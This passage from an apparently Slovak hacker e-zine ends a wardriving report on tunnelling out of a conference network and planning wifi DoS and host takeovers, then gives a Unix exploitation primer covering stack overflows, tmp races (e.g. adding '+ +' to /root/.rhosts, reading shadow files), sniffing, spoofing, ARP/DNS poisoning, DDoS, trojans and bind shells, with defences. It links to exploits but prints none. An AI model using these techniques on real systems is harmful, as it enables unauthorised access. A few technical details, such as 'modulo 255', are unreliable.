Zaroven som mal klasicky bindshellovsky terminal, cize ziadny :) V podstate
do stacilo na to aby som sa telnetom pripojil na irc resp ivan na talker.
No ale po chvili to chcelo troska vylepsit, aby sme mohli browsovat a tak :)
Spravil som pomocou styroch NC tcp->udp ----- udp->tcp tunel :) Zial nebolo
to dokonale a fical cez to len telnet, http proxy alebo ssh nie. Ale aspon
som mal uz full terminal na lhoste a mohol som volnejsie makat..


Vtedy mi maxo radil nejaky tunelovaci soft z mendrejku, ktory bol ale len
ako rpm cize nebol moc pouzitelny, tak som cez links a gugl hladal rozne
konbinacie udp+ppp tunelov a podobne. Nakoniec som sa rozhodol pre CIPE.


Takze som pustil druhy ncat na dalsej ipecke na lhoste, dalsi ncat na
notebooku a frcol som cez to take ze cipe.tgz. Na pocudovanie tento 200kb
fajl presiel asi za 2 sekundy :) Nasledne po nastudovani instalacie a
konfiguracie som rozbehol cipe PTP udp tunel medzi notebookom a lhostom na
portoch 53/54 udp (54 na notebooku preto, lebo na 53 bezal ncat s tcsh).


Cize uz som mal full konekt na lhost ktory fical cez CIPE. Mohol som na
lhoste spustit NAT a na notebooku si cez policy routing naroutovat fsetko
cez cipe/lhost, ale na lhoste som mal problemy s natom (nebol povodne v
jadre)
takze som na lhoste zinstaloval squida a na notebooku nastavil proxac na
nejakej 192.168.0.2 co bol lhost.


Nasledne som uz len popridaval ciped do startovacich skriptov na lhoste a
notebooku, takze po reboote notebooku som mal hned konekt k plnej
spokojnosti a mohol som trackovat www/ftp a vsetko ostatne ;-)


Prenosova rychlost bola okolo 260kB/s t.j. 2mbit/s . Stiahli sme si teda
nejake filmy, mp3ky a vobec :)



maniac



P.S. priamo vnutri fornebu mali vsade cisco 802.11 wifi APcka, maixmalny
pocet mi ich naratalo 15 v jednom meetingroome.




..no pekny zazitok z norska.. budeme velmi radi ak sa niekto chyti tych dat co sme dali dokopy a
rozsiri ich o poznatky vo svojej geografickej oblasti. vynechali sme cele velke casti blavy ako dolne hony, racu,
nove mesto, biskupice, devin, atd. teoreticky by slo potom takto nazhromazdene poznatky prezentovat
na hysterke vo forme akejsi mapy ci
databazy. no a samozrejme budeme velmi radi ak niekto preskenuje aj ine mesta.. urcite budu zaujimave
kosice, zilina, presov, no a samozrejme praha ci brno.. ak by niekto z prislusnych miest chcel pomoc s
metodikou ci hardwarom, ozvite sa na boarde a mozno si spravime prieskumny vylet do vasho mesta :)
ono v podstate vam staci jeden notebook, mala omni antena a sadnut si na mestsku hromadnu dopravu - vyberte
si nejaku linku ktora chodi krizom-krazom po meste.. :)



jo a mimochodom fotky z nasej jazdy su na http://hysteria.sk/prielom/pics/wifi-drive/



co nabuduce ? noo tu je nas maly "todo" zoznam veci ktore by sa mohli objavit v planovanom pokracovani tohto clanku v
buducom prielome:


  • zobrat si so sebou sprej alebo aspon kriedu na znackovanie najdenych sieti, viz http://www.warchalking.org/
  • tiez by sme mohli zistit preco nam niektore velmo uzitocne utilitky nefachali (urlsnarf, sniffit..)
  • skusit pcmcia kartu z prismII chipsetom aby sme mohli vyskusat novy projekt z packetfactory.net
    http://www.packetfactory.net/projects/radiate s ktorym by sa dalo DoSovat wifi siete, ale tiez ze stym chipsetom sa da
    dostat uplne na uroven 802.11b
  • kupit staru 1203 dodavku, dovnutra namontovat stol na PCka a na strechu antenu...
  • do dalsieho clanku chceme dat detailnejsie postupy na pripojenie na AP, hladanie default routy, takeover hostov..



    ..a tiez skusit tie kryptovane siete. treba sa pripravit - budu pribudat. takato eterova anarchia ktoru sme
    zazili nemoze predsa trvat vecne, alebo ano !?



    bezsnuram zdar !




    antonio, antonio @hysteria.sk

    maniac, maniac @hysteria.sk

    pajka, pajkus @hysteria.sk




    navrat na obsah

    co ty na to ? board






    bezpecne programovanie pod unixom



    Tento dokument sluzi ako uvod do problematiky vzdialenych a lokalnych exploitov. Hovori o vyuziti castych
    programatorskych chyb, pisani programov pre vniknutie do systemu a o moduloch jadra ako maskovacom mechanizme hackera.
    Obsahuje tiez strucny uvod do hackerskych utilit v UNIX-e. Ak ste uz ako-tak spoznali UNIX a chcete sa dostat hlbsie do
    tmavsich zakuti, tymto dokumentom treba zacat.



    Historia UNIXu



    Unix je operacny system, ktory vznikol v roku 1969 v Bellovych Laboratoriach.
    Najznamejsimi vyvojarmi pracujucimi na jeho vzniku boli Dennis Ritchie, Ken Thompson,
    M.D. McIlroy a J.F. Ossanna. Mal byt odpovedou na vladou a armadou podporovany projekt
    MULTICS, ktory sa ale opakovane omeskaval. Najskor bol pisany priamo v
    assembleri pre PDP7 a az neskor (1973) v novovyvinutom programovacom jazyku "C". To mu umoznovalo
    velmi vysoku prenositelnost po implementovani jazyka C na inych architekturach ako DEC PDP7/PDP10.
    Prvotnym zamerom horeuvedenych panov bolo vraj napisanie hry typu Space Invaders pre
    nevyuzitu PDP7-cku.



    Z povodneho UNIX-u sa vyvinulo mnoho vetiev. Vsetky maju ale zakladne prvky rovnake -
    system sa sklada z jadra, pripadne modulov jadra, mnohych drobnych systemovych nastrojov a aplikacii.
    K zariadeniam sa pristupuje pomocou specialnych suborov, zvycajne v adresari /dev.
    System je dnes 32 (a viac) bitovy, viaculohovy (multitaskovy), podporuje vlakna (thready) - je preemptivny.
    Vacsina implementacii UNIXu splna normu POSIX (Portable Operating System Interface).



    Dnes sa z komercnych UNIX-ov najcastejsie mozeme stretnut so systemami ako Solaris (SUN
    Microsystems), HP-UX (Hewlet-Packard), DIGITAL UNIX (TRU64-UNIX) (Digital/Compaq)
    pripadne AIX (IBM). Z volne siritelnych unixovych operacnych systemov su to
    najma Linux (mix vetiev BSD a SYSTEM V.) a Free BSD (BSD4.4 vetva).
    Unix sa vyznacuje vysokou stabilitou, skalovatelnostou a rozsiahlimi moznostami konfiguracie.



    Strojovy jazyk, jazyk symbolickych adries (assembler)



    Strojovy jazyk je kod, ktory je nacitavany procesorom z pamate a nasledne vykonavany.
    Je predstavovany bajtmi (byte), slovami (word) pripadne ich kombinaciami.
    Su to kombinacie intrukcii a dat. Aby clovek, ktory chce ovladat procesor
    na najnizsej urovni nemusel pracne pisat program v strojovom kode,
    bol vyvinuty jazyk symbolickych adries - assembler. V tomto jazyku mozme pisat
    program v cloveku zrozumitelnej forme a po preklade na binarny kod vykonavatelny procesorom.
    Data (operandy) predstavuju bajty, wordy, doublewordy, pripadne este vacsie datove typy.
    Byte ma tu vlastnost, ze sa da don ulozit cele cislo v rozsahu 0-255 (8 bitov).
    V pripade ze je vysledok aritmetickej operacie vacsi ako 255 a ma byt
    ulozeny do bajtu, vysledne cislo bude rovne vysledku operacie modulo 255,
    teda nie cislo, ktore by sme mozno ocakavali :). Zaroven sa nastavi indikator
    pretecenia (CF - Carry Flag). Toto je vlastne uplne najjednoduchsi priklad
    pretecenia (overflow). Velkost wordu zavysi od architektury o ktorej sa bavime.
    U wordu (v pripade 16 bit architektury) to je podobne, ale ukladane cislo moze
    mat rozsah 0-65535 (16 bitov), doubleword predstavuje 32 bitov, quadword uz obsahuje 64bitov.
    Pretecenie teda oznacuje operaciu (aritmeticku, ale aj logicku -
    tj. integer nebo cast overflow), ktorej vysledok presiahne
    moznosti pouziteho datoveho typu. Okrem aritmetickej a logickej operacie sa moze jednat
    aj o blokovu operaciu vyuzivajucu buffer - tu sa potom hovori o tzv buffer overflow
    (pretecenie vyrovnavacej pamate) a prave tato varianta bude casto spominana v tomto dokumente.



    Priklad programu scitania v assembleri vyuzivajuceho volanie unixovej funkcie zobrazenia textu
    na terminal - printf. Jedna sa o disassembling (spatne prelozenie) kodu vygenerovanego kompilatorom
    gcc 2.95.3. K dissasemblovaniu bol pouzity debugovaci (ladiaci) program gdb verzie 5.0. Uvedene priklady
    sa budu tykat architektury linux/i386 pokial nebude uvedene inac.




    Dump of assembler code for function main:
    0x80483e4
    : push %ebp - ulozit puvodni ebp
    0x80483e5 : mov %esp,%ebp - zacatek stack-frejmu do ebp
    0x80483e7 : sub $0x18,%esp - vytvorit 24bajtovy frame
    0x80483ea : movl $0x2,0xfffffffc(%ebp) - ulozime cislo 2 na adresu ebp-4
    0x80483f1 : movl $0x3,0xfffffff8(%ebp) - ulozime cislo 4 na adresu ebp-8
    0x80483f8 : mov 0xfffffffc(%ebp),%eax - cislo na ebp-4 do eax
    0x80483fb : mov 0xfffffff8(%ebp),%edx - cislo na ebp-8 do edx
    0x80483fe : lea (%edx,%eax,1),%ecx - ecx = eax + edx
    0x8048401 : mov %ecx,0xfffffff4(%ebp) - vysledek v ecx uloz na adresu ebp-12
    0x8048404 : mov 0xfffffff4(%ebp),%eax - precti z adresy ebp-12 do eax
    0x8048407 : push %eax - uloz vysledek (argument pro printf)
    0x8048408 : mov 0xfffffff8(%ebp),%eax - 2. operand scitani do eax
    0x804840b : push %eax - uloz 2. operand scitani (-"-)
    0x804840c : mov 0xfffffffc(%ebp),%eax - 1. operand scitani do eax
    0x804840f : push %eax - uloz 1. operand scitani (pro printf)
    0x8048410 : push $0x8048470 - uloz adresu adresu formatovaciho retezce pro printf
    0x8048415 : call 0x8048300 - zavolaj podprogram (funkcia printf)
    0x804841a : add $0x10,%esp - zrus predchozi pushnute argumenty
    0x804841d : leave - zrus stack frejm
    0x804841e : ret - navrat z podprogramu


    Jazyk C



    Jazyk C bol vyvinuty ako UNIX tiez v AT&T Bell Labs. Jeho tvorcom bol v roku
    1972 Dennis Ritchie. C je na vyssej urovni ako assembler, ale stale na dostatocne
    nizkej, aby mohol programator pisat velmi efektivny kod. Programator je
    zodpovedny aj za integritu dat, samotny jazyk nerobi ziadne, alebo len
    minimalne kontroly toho co programator napise. Casto sa tu pouziva vyraz
    buffer, alebo pole. Jedna sa o suvisly blok pamate, v ktorom sa viac krat
    vyskytuju data rovnakeho typu. Staticke buffre su pevne definovane v
    zdrojovom kode a su alokovane pri nahravani programu v datovom segmente pamate.
    Dynamicke polia su definovane cez pointre a su vytvorene pocas behu programu
    v pridelenom segmente (pridelovanie zavysi od implementacie *alloc() v glibc).
    Vdaka obmedzeniam statickych poli sa vo vacsine programov stretneme s ich dynamickou verziou.
    Preto sa utoky vyuzivajuce modifikaciu zasobnika (Smashing the stack alebo stack
    overflows) zaoberaju prave dynamickymi poliami.



    V jazyku C sa casto vyuzivaju datove typy ako napriklad integer, char a podobne.
    Tak ako v assembleri typ Word zalezal od architektury, tak je to v Cecku pri integeri.



    Priklad programu scitania (zhodny s programom v assembleri):



    /pr.0x3.1/
    #include - nacitanie hlavickoveho suboru obsahujucu funkciu printf
    main() - vstup do programu - funkcia main
    {
    int a,b,c; - definovanie datoveho typu pre premenne a,b,c
    a = 2; - priradenie hodnoty premennej a
    b = 3; - priradenie hodnoty premennej b
    c = a + b ; - vysledok scitania premennej a s premennou b sa ulozi do premennej c
    printf("%d + %d = %dn",a,b,c); - vypise sa vysledok
    }



    UNIXove procesy a zasobnik (stack)



    Bezici procesy na 32 bitovych intel systemech jsou zpravidla rozdeleny
    na tri oblasti: text, data a stack. Na
    zaciatku, pri spusteni programu sa oblast textu a dat nahra priamo do
    aktivnej pamate. Data sa rozdelia na inicializovane data a neinicializovane
    data oznacovane ako BSS. BSS data su umiestnene vyssie v pamati ako
    inicializovane data, pricom oblast textu zaberie najnizsiu adresu
    (najblizsiu k 0x00000000). BSS data niesu staticky ulozene v subore, pretoze
    tato oblast byva alokovana blokom pamate vyplnenym nulami. V oblasti BSS
    su ulozene informacie ako staticke premenne. Velkost datovej oblasti moze byt
    modifikovana funkciou brk(), ktoru popisuje standart POSIX 2.9 (unistd.h).
    V pripade ze bss-data alebo uzivatelsky zasobnik vyplitvaju pouzitelnu pamat,
    beziaci proces je zablokovany a je naplanovne aby sa znova spustil s vacsim
    mnozstvom pamate. Nova pamat je pridana medzi stackom a datovymi segmentami
    v neinicializovanom regione.

    Textovy region je read-only zdielany (mmapovane) vsetkymi procesmi spustajucimi subor.
    Pokus o zapis do tohto regionu sa prejavi vyjimkou porusenim segmentacie
    (segmentation violation). Toto je rozdiel oproti datovej a stack oblasti,
    ktore su zapisovatelne a su samostatne pre kazdy proces.




    Znazornenie UNIXoveho procesu v pamati (aktivny) a na disku (ulozeny).




    0xFFF00000 +-------------------------------+
    (vysoke adresy) | zasobnik jadra pre procesy |
    +-------------------------------+
    | cervena zona |
    +-------------------------------+
    | uzivatelska oblast |
    +-------------------------------+
    | ps_retazce struktura |
    +-------------------------------+
    | signalizacny kod |
    +-------------------------------+ - -
    | premenne prostredia |
    +-------------------------------+
    | argv retazce |
    +-------------------------------+
    | pointre prostredia | argumenty prikazoveho riadku
    +-------------------------------+ a premenne shellu
    | argv pointre | /
    +-------------------------------+ /
    | argc | /
    +-------------------------------+ - -
    | uzivatelsky zasobnik |
    | | |
    | V |
    | |
    | |
    | |
    | ^ |
    | | |
    | kopa (heap) |
    +-------------------------------+ +-----------------------+
    | bss | | tabulka znakov |
    +-------------------------------+ - - - - - - - +-----------------------+
    | inicializovane data | | inicializovane data |
    +-------------------------------+ - - - - - - - +-----------------------+
    0x00000000 | text | | text |
    (nizke adresy) +-------------------------------+ - - - - - - - +-----------------------+
    proces v pamati | |
    | hlavicka linkeru |
    | a magicke cislo |
    | |
    +-----------------------+
    subor na disku.


    Zasobnik sa jednoznacne lisi od textu a dat. Nadolezitejsie je, ze zasobnik je dynamicky
    a urceny za behu, na rozdiel od statickych dat, ktore su jednoducho nahrane do pamate. S polozkami
    zasobnika sa pracuje systemom LIFO (Last In, First Out).



    Pri sputani a ukoncovani standartnej funkcie C musi byt volana procedura 'uvod' alebo
    'zaver', ktore ulozia dosavadne premenne, vytvoria miesto pre nove premenne a vice versa
    v pripade ukoncenia funkcie. Predchadzajuci FP (Frame Pointer) je ulozeny, vytvori sa novy FP
    a SP (stack pointer) pracuje s ohladom na jeho nove lokalne premenne. Tu je priklad:



    /pr.0x4.1/
    void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
    }


    void main() {
    function(1,2,3);
    }



    V assembleri bude ekvivalent volania function() horeuvedenej funkcie nasledovny:


    /pr.0x4.2/
    pushl $3 ; uloz argument 3 pre function()
    pushl $2 ; uloz argument 2 pre function()
    pushl $1 ; uloz argument 1 pre function()
    call function ; zavolaj function() a uloz IP (Instruction Pointer) na vrch zasobnika



    Tento kod ulozi 3 argumenty volanej funkcie odzadu do zasobnika a zavola function(). Instrukcia call
    ulozi IP (nasledujucej instrukcie za call-om) na vrch zasobnika. To zabezpeci, ze ked skonci
    podprogram, ktory bol zavolany a vykona instrukciu ret, nacita sa adresa IP zo zasobnika
    a program bude pokracovat na danej adrese.



    Prva vec, ktora sa udeje vo funkcii je procedura 'uvod':




    /pr.0x4.3/
    pushl %ebp ; uloz frame pointer na zasobnik (sfp = saved frame pointer)
    movl %esp, %ebp ; zjisti adresu konce budouciho frame pointeru


    Najprv sa frame pointer - EBP ulozi do zasobnika. Aktualne SP sa nasledne zkopiruje do EBP,
    cim z neho vytvori novy Frame Pointer. Nakoniec sa procedura 'zaver' vyberie alokovat miesto pre lokalne
    premenne odpocitavanim ich velkosti od SP. Prekladac gcc zpravidla zarovnava vsechny promenne
    na zasobniku na nasobky wordu (zpravidla na 4 nebo 16 bajtu)
    to vysvetluje, preco je v tomto priklade od SP odratana hodnota 20. Zdrojovy kod v priklade pr.0x4.1
    pouziva 5 bajtovy buffer, takze sme museli alokovat 2 wordy (8 bajtov) a pre 10 bajtovy buffer 3 wordy (12 bajtov).
    Teda oba buffre dokopy davaju 20 bajtov (a nie 15 ako by sa mohlo zdat), ked berieme do uvahy 4-bajtovu
    velkost slova na Intel x86 procesoroch.



    Takto bude vyzerat blok pamate zahrnajuci uzivatelsky zasobnik:



    +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,|
    +=======================+
    |..uzivatelsky.zasobnik.|
    +-----------------------+
    | c |
    +-----------------------+
    | b |
    +-----------------------+
    | a |
    +-----------------------+
    | ret |
    +-----------------------+
    | sfp |
    +-----------------------+
    | buffer1 |
    +-----------------------+
    | buffer2 |
    +-----------------------+
    |.......heap............|
    +=======================+
    |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+




    Programatorske chyby



    Historia zneuzivania programatorskych chyb.



    Najznamejsie pripady zneuzitia buffer overrunov

  • 1987 Robert Tappan Morris : Internet Worm (blizsie info RFC 1135)
    Zneuzitim dier v sendmaile a fingerd bola prerusena prevadzka velkej casti internetu.
  • 1995 Kevin Mitnick vs Tsutomu Shimomura (blizsie info http://www.takedown.com)
    Suboj asi najznamejsieho hackera/crackera a specialistu na bezpecnost v IT.



    Druhy programatorskych chyb



    Fandango on Core

    V programovacom jazyku C sa tento vyraz pouziva pre vsetky pripady,
    kedy sa pointer dostane mimo vymedzenych hranic, co sposobi core dump alebo
    poskodenie pamate. Toto je zakladom stack smashing a heap/bss bezpectnostnych dier.
    Mozme sa stretnut aj s inymi pomenovaniami, ale zvacsa pri tom ide opat
    o nechcene operacie s dynamicky pridelenou pamatou. Tento vyraz je odvodeny
    od Spanielskeho tanca ;-).



    Overruns screw

    Je to variacia Fandango on Core. Popisuje pripad, ked pracujeme za
    koncom hranic definovaneho pola. Chybajuce testovanie hranic v jazyku C
    vydatne podporuje tento jav. Takto sa chovajuci program je opat jednym so
    zakladych prvkov pri stack smashing utoku.



    Smashing, Trashing, Scribbing the Stack

    Variacia overrun screw, vznikne zapisom za koniec definovaneho pola,
    kedy prepiseme navratovu adresu v zasobniku. Program odskoci na nahodnu adresu a preplni
    vstup velkym mnozstvom dat, co prepise pevne definovany buffer.



    Aliasing, Stale, Dangling Pointer Bugs

    Termin zauzivany uz v rokoch okolo 1960 pri programovacich jazykoch
    Fortran a Algol. Je to skupina chyb, kedy program vyuziva viac ako jeden pointer,
    alebo alias na pointer, ktory ma ukazovat na blok dynamicky pridelenej pamate.
    Ak je pamat modifikovana pouzitim prveho aliasu a druhy s tym neratal
    moze vzniknut neprijemny problem - nespojitost, alebo strata dat.



    Bohr Bug

    Jedna sa o chybu, ktora je opakovatelna. Teda vieme presne popisat
    v akom pripade sa vyskytne. Tento vyraz je odvodeny z kvantovej fyziky.



    Heisenbug

    Vyraz opisujuci chybu, ktora zmizne akonahle sa nanu zameriame (napr. zapnutim debugu).
    Moze ist napriklad o chybu, ktorej staci nepatrna zmena v systemovom prostredi,
    alebo v pamati na to, aby sa neprejavila. Obcas sa zvykne nazyvat aj Mandelbug,
    alebo Schroedinbug. Vysledkom je z pravidla fandango on core alebo stack smashing.
    Tento vyraz je odvodeny z kvantovej fyziky.



    Mandelbug

    Chyba, ktorej prejav je prilis zlozity az nedeterministicky.
    Tento vyraz bol odvodeny z Mandelbrotovej mnoziny.



    Schroeding Bug

    Nahodne, alebo aj umyselne najdena chyba v zdrojovom kode, alebo chyba ktora sa objavila
    az pri neplanovanom vyuziti programu - nestandartny vstup, alebo podmienky behu.



    Precedence loosage

    V pripade vyrazu vyzivajuceho viacero aritmetickych operacii moze programator stratit prehlad nad ich
    prioritou, resp. poradim vykonania.



    Memory leak, Core leak (presakovanie pamate)

    Program pri svojom behu dynamicky alokuje pamat a v pripade, ze ju nedealokuje spravne, zacne naberat
    na velkosti. Moze sa stat ze vycerpa vsetku pamat systemu.



    Deadlock

    Nekonecka slucka ktora vznikne cakanim na priznak, ktory sa ale neobjavi, pretoze sa s jeho nastavenim
    opat na nieco caka (napriklad na vykonanie uz cakajuceho programu).
    Objavuje sa napriklad pri zamykani suborov dvomi aplikaciami.



    Utocnicke techniky




    Exploit


    Co je to vlastne exploit? Je to program, ktory zneuziva chybu v inom
    programe za ucelom ziskania privilegii, na ktore nemame opravnenie.
    Exploity mozu byt lokalne - na ich spustenie musime mat uzivatelsky ucet na
    cielovom pocitaci, alebo aspon shell pristup (napr. cez bindshell). Lokalne
    chyby sa zvacsa tykaju suid programov, ktorym dame na vstup, alebo do
    systemovych premennych data, ktore preplnia buffer nasej suid aplikacii a
    docielime toho, ze sa z nami vlozenych dat stane kod, ktory sa spusti.
    Dalej sa moze jednat o tmp-race - ked program s vyssimi privilegiami pri svojom behu
    pouziva /tmp adresar (pristupny vsetkym uzivatelom) na uchovanie docasnych suborov.
    Hacker moze vytvorit dopredu linku, ktora bude smerovat na subor, ktory sa ma
    zobrazit/prepisat. Pokial je suid program zle napisany a nezisti ze taky
    subor uz existuje (nezistuje pritomtost daneho suboru a nevytvara ho atomicky),
    resp. ze to je link, utocnik docieli manipulacie so suborom na ktory smeruje
    link s pravami suid programu. Takto mozme napr. do suboru /root/.rhosts vlozit
    retazec '+ +', alebo precitat systemovy shadow subor.
    Dalsia moznost je spravit utok na jadro, cez pipe, device, alebo /proc filesystem.
    Vzdialeny exploit zneuziva chybu v aplikacii pocuvajucej na nejakom
    tcp/udp porte, pripadne sledujucej traffic na sieti. V extremnom pripade by
    bolo mozne uvazovat o remote exploite na ip-stack zariadenia na sieti. Pri
    takychto utokoch sa jedna vacsinou o chybu v aplikacii, ked sa nedostatocne
    kontroluje vstup (jeho velkost, esc sekvencie).



    Priklad

  • Exploitov existuje mnozstvo, takmer kazda sietova aplikacia alebo SUID program mal v minulosti
    nejaku dieru a pravdepodobne existuje exploit prave na tu deravu verziu. Tak isto aj autorov exploitov
    existuje nespocet. Z najznamejsich by som mohol menovat skupiny ako ADM (http://adm.freelsd.net),
    w00w00 (http://www.w00w00.org), TESO (http://teso.scene.at), GOBBLES (http://www.bugtraq.org).
    Z jednotlivcom napriklad Michal Zalewski (http://lcamtuf.coredump.cx/),
    dugsong (http://www.monkey.org/~dugsong/) a naozaj velmi vela dalsich.
  • Linux 2.2.0 -> 2.4.9 ptrace exploit http://hysteria.sk/sd/f/exploits/ptrace24.c
  • Qpop 2.4 remote exploit http://www.monkey.org/~dugsong/


    Suid program po spusteni dostane uid/gid vlastnika suboru. O tom ci je
    alebo nieje program suid rozhoduje priznak suboru - suid bit.
    Jedinou autentifikaciou je zvacsa len uid/gid uzivatela, ktory binarku spusta.
    V pripade vyuzitia buffer overrunu na suid binarku hovorime o lokalnom utoku.



    Priklad

  • Screen3.9.11 local root exploit (24.4.2002) http://packetstorm.dnsi.info/0204-exploits/screen-stuff.tgz
  • SGI security advisory - Suidperl BOF http://packetstormsecurity.org/advisories/sgi/sgi.19980404-01-i.suidperl



    Ochrana

  • minimalne mnozstvo suid (root) programov a aj to len pre uzivatelov, ktory ich nutne potrebuju
  • najdeme ich takto: find / -user root -perm -004000 -ls
  • pouzivanie preverenych suid programov (open source, aktualna verzia)
  • primountovanie filesystemov ako /home, /var a pod. s parametrem no-suid, takze suid bit
    ztraci svuj zadany efekt (napr. super-user shelly hackery tam zanechane postradaji na funkcnosti ;-)



    Sniffinig


    Sniffing je taktika, kedy utocnik vidi traffic na urovni sietoveho
    adapteru. Tam su v pripade zdielanieho spojenia (napr. ethernet) zvacsa aj data urcene
    nielen pre dany adapter. Este nebezpecnejsie je, ked prepne sietovy adapter do PROMISC rezimu.
    Vtedy interface prijima aj take framy, ktore nemaju v l2 hlavicke svoju
    mac adresu ako ciel. Vo vacsine pripadov sa jedna prave o PROMISC sniffing.



    Priklad

  • hunt je sniffer/interceptor do switchovaneho prostredia http://packetstormsecurity.org/sniffers/hunt/hunt-1.5.tgz
  • ettercap tiez ako hunt http://packetstormsecurity.org/sniffers/ettercap/ettercap-0.6.5.tar.gz
  • dsniff pozna casto pouzivane protokoly (pop3,ftp,telnet,stmp..) a uklada hesla/data v prehladych suboroch


    Ochrana

  • jadro posle hlasku o prepnuti do/z promisc rezimu do syslogu
  • detekcia promisc karty na sieti - mozte zistit, ze pri vasej komunikacii sa
    nejaky dalsi stroj sa snazi resolvovat reverzne dns zaznamy vami kontaktovanych IP adries
  • pouzivanie switchov miesto hubov
  • utility ako antisniff a podobne
  • kryptovat vsetku moznu komunikaciu
  • pouzivat hesla obsahujuce nezobrazitelne znaky



    Spoofing


    Utocnik posiela packety (zvycajne udp/icmp) s inou zdrojovou adresou, ako je
    jeho vlastna. Takto sa daju ucinne obist packet-filtre (firewally). Samozrejme
    ak chce obet odpovedat, odpoveda nie utocnikovi ale nic netusiacej stanici,
    ktora bola uvedena ako zdrojovoa adresa v hlavnicke spoofnuteho IP packetu.
    Spoofing nefunguje pri TCP spojeniach, pretoze tu je potrebny 3-way handshaking.



    Ochrana

  • Pouzivat firewallovacie pravidla, ktore znemoznuju prichod packetu z internej siete
    cez vonkajsi interface.
  • ISP by mali filtrovat svoj odchodzi traffic aby sa von dostali len packety
    z vlastneho rozsahu
  • Ak je to mozne, tak akceptovat len spojenia vytvorene vasou stanicou



    ARP-poisoning


    Tato technika sa pouziva v prepinanom prostredi (switch)

  • Utocnik posiela falosne arp-reply packety inemu pocitacu/routru. Dosiahne tym,
    ze traffic urceny pre iny pocitac bude smerovany na jeho MAC adresu a
    samozrejme aj na jeho port vo switchi akoby bol urceny priamo jemu.



    Ochrana

  • MAC security na switchi zabrani jenej IP adrese objavovat sa na roznych portoch v kratkom casovom intervale
  • Staticke zaznamy v ARP tabulke



    DNS-spoofing


    Ked posle obet dns request na nejaku domenu a utocnik odpovie rychlejsie ako
    dns server a zna ID query (napr hore spominany sniffing,
    nebo ho proste uhadne), obet dostane zdanlive spravnou odpoved, ale od nespravneho
    zdroje.



    Ochrana

  • dnssec - system checksumovania requestov/responsov



    DNS-poisoning


  • Utocnikov DNS server s odpovedou na request posle aj 'otraveny' zaznam o inej domene,
    ktory dns server obete poslusne zaradi do svojej dns-cache



    Ochrana

  • pouzivat najnovsie verzie dns servrov/resolverov


    Flood


  • Zahltenie linky obete (DoS - Denial of Service)
  • moze byt bud trafficovy (velke mnozstvo dat)
  • alebo packetovy (velke mnozstvo malych packetov), takyto utok spolahlivo odrovna routre s poddimenzovanymi CPU (napriklad Cisco)



    Ochrana

  • blokovat broadcasty - tie funguju ako zosilnovace/nasobice trafficu pouzivane pri floodoch



    DDoS


  • Distributed Denial of Service - obdoba floodu, ale utok prevadza velka skupina utociacich pocitacov proti jednemu cielu
  • Trinoo/Strachelwald/TNF2K
  • Jedna sa asi o najzakernejsiu verziu DoS, proti ktorej neexistuje rychla a efektivna ochrana
  • Casto sa stava ze polozi nielen cielenu stanicu, ale aj celeho ISP a tento stav trva az pokial to utocnika neprestane bavit ):)



    Ochrana

  • jediny sposob ochrany je zablokovat na vsetkych vstupoch do siete ISP packety
    ktore sa daju nejakym sposobom identifikovat, ze patria k floodu. Vacsinou
    je to zial len identifikacia podla cielovej adresy, co znamena, ze obet
    nebude fungovat pocas doby kym je zavedeny filter u ISP.


    Virusy


  • po spusteni napadaju spustitelne subory (nebo systemove casti disku a disket, nebo treba
    makra word dokumentu), cim sa replikuju
  • na sieti sa siria pomocou zkopirovania na iny pocitac za pomoci uzivatela/cerva
  • nedestruktivne virusy nam zaberaju systemove prostriedky
  • destruktivne virusy su obzvlast nebezpecne, nicia uzivatelske data a casto aj system, dokonca
    sa objavili virusy ako CIH, ktore dokazali prepisat FLASH BIOS na niektorych pocitacoch
    a tym sposobit problem, ktory by sa dal nazvat hardwaroveho charakteru..
  • spionazne - zpristupnia Vase data nepovolanym ludom (mailom/inym sposobom ce internet)



    Ochrana

  • nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0




    Cervy

  • po spusteni sa siria na dalsie hostitelske pocitace pomocou remote exploitov nebo blbosti
    uzivatelu (treba stupid-click-on-me IloveYou)
  • priklad - Morrisov Internet Worm
  • velmi nebezpecnym virusom by mohol byt Seiheim, ktory mal byt vytvoreny Michalom Zalewskim, ten
    mal pracovat s online databazou exploitov, vediet samostatne mutovat, nedeterministicky
    sa zamaskovat, vyckat urcity cas a znova pokracovat vo svojej cinnosti. Taktiez mal byt
    nezavisly na platforme. Nastastie zatial nebol naprogramovany, takze mozme kludne spavat ;-) (no, to zase ne. mnoho lidi, i v .cz/.sk si s myslenkou podobnou shammhainu (ale jeste vic featured nes shammhain) stale pohrava ... pozn. -sd)



    Ochrana

  • mat system v aktualnej verzii a bezat len naozaj potrebne sluzby
  • tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0



    Trojske kone

  • po spusteni otvoria zadne vratka na pocitaci obete, zvycajne o tom informuju
    utocnika pomocou emailu/irc/ftp/www alebo nejakeho specialneho packetu
  • ako vhodny priklad sa daju uviest vo windowsovom prostredi oblubene NTBUS alebo BackOrrifice



    Ochrana

  • tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0




    MiM attack


  • Man In The Middle utok je realizovatelny v tedy, ked je utocnik schopny sledovat
    traffic (tok dat) medzi obetou a adresou, s ktorou obet komunikuje. Utocnik vstupi
    do tejto komunikacie s adresou obete, tvariac sa, ze komunikacia normalne
    pokracuje dalej. Samozrejme musi zabezpecit, aby sa obet uz neozyvala, to
    by narusovalo ukradnutu session (napriklad telnet). Preto moze utocnik pouzit
    niektory z DOS utokov na umlcanie obete.



    Ochrana

  • pouzivat sietove aplikacie, ktore pouzivaju nejaku formu kryptovania, alebo aspon checksumovania (kontrolnych suctov)
  • v pripade utoku kryptovane session s verejnym klicem je treba nejakym zpusobem
    zajistit aby server a client navzajem znali sve public key ze _zabezpeceneho_ zdroje, napr. ssh
    je porovnava z predchozich session.



    Cross site scripting

  • pri pouziti dynamickych web stranok sa casto stretavame s tym,
    ze url obsahuje otaznik a za nim rozne premenne. Spravnym nastavenim tychto
    premennych je mozne zmanipulovat beh programu (napriklad zmenit meno a cestu k
    suboru, ktory sa ma zobrazit, zmenit tabulku v sql databaze a pod.)
  • include a exec lokalneho/remote programu miesto mieneneho include lokalneho datoveho suboru



    Ochrana

  • overovanie vstupu, bezpecne nastavenie v php.ini



    BindShell

  • program, ktory po spusteni pocuva na urcenom porte. Po pripojeni sa nan ziskame
    shell na pocitaci obete.



    Ochrana

